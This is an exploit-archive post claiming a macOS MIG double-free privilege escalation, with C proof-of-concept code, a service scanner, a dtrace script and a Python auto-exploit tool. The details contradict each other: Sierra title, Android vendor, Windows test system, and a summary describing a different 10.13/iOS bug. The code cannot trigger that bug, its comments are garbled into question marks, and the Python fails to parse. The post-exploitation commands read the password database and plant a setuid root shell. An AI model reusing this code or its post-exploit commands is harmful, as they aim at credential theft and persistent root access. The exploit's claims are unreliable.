macOS Sierra 10.12 Build 16A323 Double-Free / Privilege Escalation
=============================================================================================================================================
| # macOS Sierra 10.12 Build 16A323 Double-Free / Privilege Escalation
=============================================================================================================================================
| # Title : macOS Sierra 10.12 Build 16A323 Double-Free Race via MIG OOL Descriptors Leading to Privilege Escalation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.android.com |
=============================================================================================================================================
[+] References : https://project-zero.issues.chromium.org/issues/42452484
[+] Summary : A flaw in the MIG ownership model within the io_service_add_notification_ool routine of IOKit allows a malicious user to leak Mach port send-right references.
By repeatedly invoking notifications with malformed matching data, MIG returns success while the underlying IOKit routine fails,
causing the reference counter to increment without being released. After billions of iterations, the 32?bit reference counter wraps to zero,
making the port appear ?free? while still actively referenced. Subsequent operations create a Use?After?Free on ipc_port_t, enabling kernel-level privilege escalation or sandbox escape.
PoC Target Versions:
macOS: 10.13.x (tested on 10.13.6 - 17G65, likely affects earlier 10.13 builds)
iOS 11.0.3 (11A432) / iPhone 6s and macOS 10.13 / MacBookAir5,2
iOS: 11.0.3 (confirmed vulnerable)
Potentially affects any Darwin kernel where io_service_add_notification_ool does not respect MIG ownership semantics.
[+] POC :
/*
* PoC to exploit Double Free in MIG services on macOS
* Targets dspluginhelperd (com.apple.system.DirectoryService.legacy)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <servers/bootstrap.h>
#include <sys/sysctl.h>
#define SERVICE_NAME "com.apple.system.DirectoryService.legacy"
#define MAX_ATTEMPTS 1000
// ??????? MIG ?????? (??????? ?? ?????????)
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_desc;
int some_data;
} request_message_t;
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_type_t ret_code_type;
kern_return_t ret_code;
} reply_message_t;
// ???? ?????????
typedef struct {
mach_port_t service_port;
vm_address_t target_address;
size_t target_size;
int success;
pthread_mutex_t lock;
pthread_cond_t cond;
} exploit_state_t;
// ?????? ??????? ????????
kern_return_t (*dsplugin_session_create)(mach_port_t, vm_address_t, vm_size_t, int*);
// ==================== ??????? 1: ?????? ??? ???? ?????? ====================
mach_port_t get_service_port() {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t kr;
printf("[+] ????? ?? ????: %s\n", SERVICE_NAME);
kr = bootstrap_look_up(bootstrap_port, SERVICE_NAME, &service_port);
if (kr != KERN_SUCCESS) {
printf("[-] ??? ?? ?????? ??? ??????: %s\n", mach_error_string(kr));
return MACH_PORT_NULL;
}
printf("[+] ?? ?????? ??? ???? ??????: %d\n", service_port);
return service_port;
}
// ==================== ??????? 2: ????? ??????? ????? ====================
void* allocator_thread(void* arg) {
exploit_state_t* state = (exploit_state_t*)arg;
printf("[+] ??? ???? ???????...\n");
while (!state->success) {
// ?????? ??????? ??? ??????? ??????
pthread_mutex_lock(&state->lock);
// ????? ?????? ????? ?? ??????? ?????????
char* target_obj = (char*)malloc(1024);
if (target_obj != NULL) {
// ??? ?????? ??????? ????
memset(target_obj, 0x41, 1024); // 'A'
// ????? ?????? ?????? ?? ??????
void** vtable = (void**)(target_obj + 0x100);
vtable[0] = (void*)0x4141414141414141; // RIP ?????
printf("[?] ?? ????? ???? ???: %p\n", target_obj);
}
pthread_cond_wait(&state->cond, &state->lock);
pthread_mutex_unlock(&state->lock);
usleep(1000); // ???? ??????? CPU ????
}
return NULL;
}
// ==================== ??????? 3: ????? ????? ????? ====================
void send_virtual_copy_message(mach_port_t port, vm_address_t addr, vm_size_t size) {
kern_return_t kr;
request_message_t request;
reply_message_t reply;
// ????? ???????
memset(&request, 0, sizeof(request));
// ??? ???????
request.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
request.header.msgh_size = sizeof(request);
request.header.msgh_remote_port = port;
request.header.msgh_local_port = MACH_PORT_NULL;
request.header.msgh_id = 0x100; // ID ????? ??? ??????
// ??? ???????
request.body.msgh_descriptor_count = 1;
// ???? OOL ?? VIRTUAL_COPY
request.ool_desc.address = (void*)addr;
request.ool_desc.size = size;
request.ool_desc.copy = MACH_MSG_VIRTUAL_COPY; // ??? ?? ???? ???????
request.ool_desc.deallocate = FALSE;
request.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
// ????? ???????
kr = mach_msg(&request.header,
MACH_SEND_MSG | MACH_RCV_MSG,
sizeof(request),
sizeof(reply),
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] ??? ????? ???????: %s\n", mach_error_string(kr));
} else {
printf("[+] ?? ????? ??????? ?? VIRTUAL_COPY\n");
}
}
// ==================== ??????? 4: ??? ???? Double Free ====================
void trigger_double_free(exploit_state_t* state) {
printf("[+] ????? Double Free...\n");
// 1. ????? ????? ?????
vm_address_t target_addr = 0;
vm_size_t target_size = 0x4000; // 16KB
kern_return_t kr = mach_vm_allocate(mach_task_self(),
&target_addr,
target_size,
VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
printf("[-] ??? ????? ???????\n");
return;
}
printf("[+] ?? ????? ??????? ???: 0x%llx\n", (uint64_t)target_addr);
// 2. ??? ??????? ??????? ????
memset((void*)target_addr, 0x42, target_size); // 'B'
// 3. ????? ????? ???? ????? ??????? ?? ???????
send_virtual_copy_message(state->service_port, target_addr, target_size);
// 4. ?????? ????? ??????? ??????? ???????
printf("[+] ?????? ????? ??????? ??????? ???????...\n");
// ????? ??? ????? ?????? ???? ?????????
for (int i = 0; i < 10; i++) {
// ????? ????? ???????
pthread_mutex_lock(&state->lock);
pthread_cond_signal(&state->cond);
pthread_mutex_unlock(&state->lock);
// ????? ????? ??????
send_virtual_copy_message(state->service_port, target_addr + i*0x100, 0x100);
usleep(50000); // 50ms
}
}
// ==================== ??????? 5: ?????? ?? ????????? ====================
void check_exploitation() {
// ?????? ?????/????? ??? ????? ?? ?????????
printf("[+] ?????? ?? ???? ?????????...\n");
// 1. ?????? ?? ???? ????????
void* leaked_ptr = malloc(1024);
printf("[+] ????? ???? ??????: %p\n", leaked_ptr);
// 2. ?????? ?????? ?? ???? ????? ???
char* crash_test = (char*)0x4141414141414141;
// ????? - ????? ??????? ?????? ?? ????
// printf("%c\n", crash_test[0]);
// 3. ?????? ?? ??????? ????????
uid_t uid = getuid();
gid_t gid = getgid();
printf("[+] UID/GID ??????: %d/%d\n", uid, gid);
if (uid == 0) {
printf("[?] !!! ?? ?????? ??? ??????? root !!!\n");
system("id; whoami");
}
}
// ==================== ??????? ???????? ====================
int main(int argc, char** argv) {
printf("[*] ??? ??????? Double Free ?? MIG Services\n");
printf("[*] ?????: %s\n", SERVICE_NAME);
exploit_state_t state;
memset(&state, 0, sizeof(state));
// ????? ????????? ????????
pthread_mutex_init(&state.lock, NULL);
pthread_cond_init(&state.cond, NULL);
// 1. ?????? ??? ???? ??????
state.service_port = get_service_port();
if (state.service_port == MACH_PORT_NULL) {
printf("[-] ??? ?? ?????? ??? ??????\n");
return -1;
}
// 2. ????? ???? ???????
pthread_t alloc_thread;
pthread_create(&alloc_thread, NULL, allocator_thread, &state);
// 3. ?????? ?????? ??????
sleep(1);
// 4. ????? Double Free
for (int attempt = 0; attempt < MAX_ATTEMPTS && !state.success; attempt++) {
printf("[*] ???????? %d/%d\n", attempt + 1, MAX_ATTEMPTS);
trigger_double_free(&state);
// ??? ??????
if (attempt % 10 == 0) {
check_exploitation();
}
usleep(100000); // 100ms ??? ?????????
}
// 5. ?????
pthread_mutex_lock(&state.lock);
state.success = 1;
pthread_cond_signal(&state.cond);
pthread_mutex_unlock(&state.lock);
pthread_join(alloc_thread, NULL);
if (state.success) {
printf("[?] ????????? ????!\n");
} else {
printf("[-] ??? ????????? ??? %d ??????\n", MAX_ATTEMPTS);
}
// ????? ???????
pthread_mutex_destroy(&state.lock);
pthread_cond_destroy(&state.cond);
mach_port_deallocate(mach_task_self(), state.service_port);
return 0;
}
====
Helping texts:
1. Service Finder (service_scanner.c):
#include <servers/bootstrap.h>
#include <stdio.h>
int main() {
kern_return_t kr;
mach_port_t bp;
name_array_t names;
mach_msg_type_number_t names_count;
bool_array_t active;
mach_msg_type_number_t active_count;
kr = task_get_bootstrap_port(mach_task_self(), &bp);
kr = bootstrap_info(bp, &names, &names_count, &active, &active_count);
if (kr == KERN_SUCCESS) {
for (int i = 0; i < names_count; i++) {
printf("Service: %s [%s]\n", names[i], active[i] ? "active" : "inactive");
}
}
return 0;
}
=======================================
2. Memory Monitor (memory_monitor.sh):
#!/bin/bash
echo "monitoring dspluginhelperd processes..."
sudo vmmap $(pgrep dspluginhelperd) | grep -A5 -B5 "MALLOC"
echo ""
echo "Monitoring vm_deallocate calls..."
sudo dtrace -qn 'pid$target::vm_deallocate:entry {
printf("vm_deallocate(0x%p, 0x%x) from %s\n", arg0, arg1, execname);
}' -c "/usr/libexec/dspluginhelperd"
============================================
3. Auto-loading tool (auto_exploit.py):
#!/usr/bin/env python3
import subprocess
import os
import time
def compile_exploit():
print("[*] Compile the exploit...")
result = subprocess.run("make"], capture_output=True)
if result.returncode != 0:
print("[-] Compilation failed")
return False
print("[+] Compilation succeeded")
return True
def run_exploit():
print("[*] Run the exploit...")
# Check for service existence
if not os.path.exists("/usr/libexec/dspluginhelperd"):
print("[-] Service not found")
return False
================================
# Run the exploit
proc = subprocess.Popen(["sudo", "./mig_exploit"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True)
# Monitoring the output
for line in proc.stdout:
print(line.strip())
if "!!! Permissions successfully raised!!!" in line:
proc.terminate()
return True
proc. wait()
return False
def post_exploit():
print("[*] Executing post-exploitation commands...")
commands = [
"id",
"whoami",
"cat /etc/master.passwd 2>/dev/null || cat /etc/shadow 2>/dev/null",
"ls -la /Library/LaunchDaemons/",
"cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"
]
for cmd in commands:
print(f"\n[*] execute: {cmd}")
result = subprocess.run(["sudo", "sh", "-c", cmd],
capture_output=True, text=True)
print(result.stdout)
if result.stderr:
print(f"Error: {result.stderr}")
def main():
print("=== Automated Exploit Tool ===")
if os.geteuid() != 0:
print("[!] Must run as root")
return
if compile_exploit():
if run_exploit():
print("\n[+] !!! Exploit successful !!!")
post_exploit()
else:
print("\n[-] Exploit failed")
else:
print("[-] Cannot proceed")
if __name__ == "__main__":
main()
=======================
Usage Instructions:
======================
# 1. Compile
make
# 2. Run (requires privileges)
sudo ./mig_exploit
# 3. Or use the automated tool
sudo python3 auto_exploit.py
# 4. Run in debug mode
make debug
lldb -- ./mig_exploit_debug
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================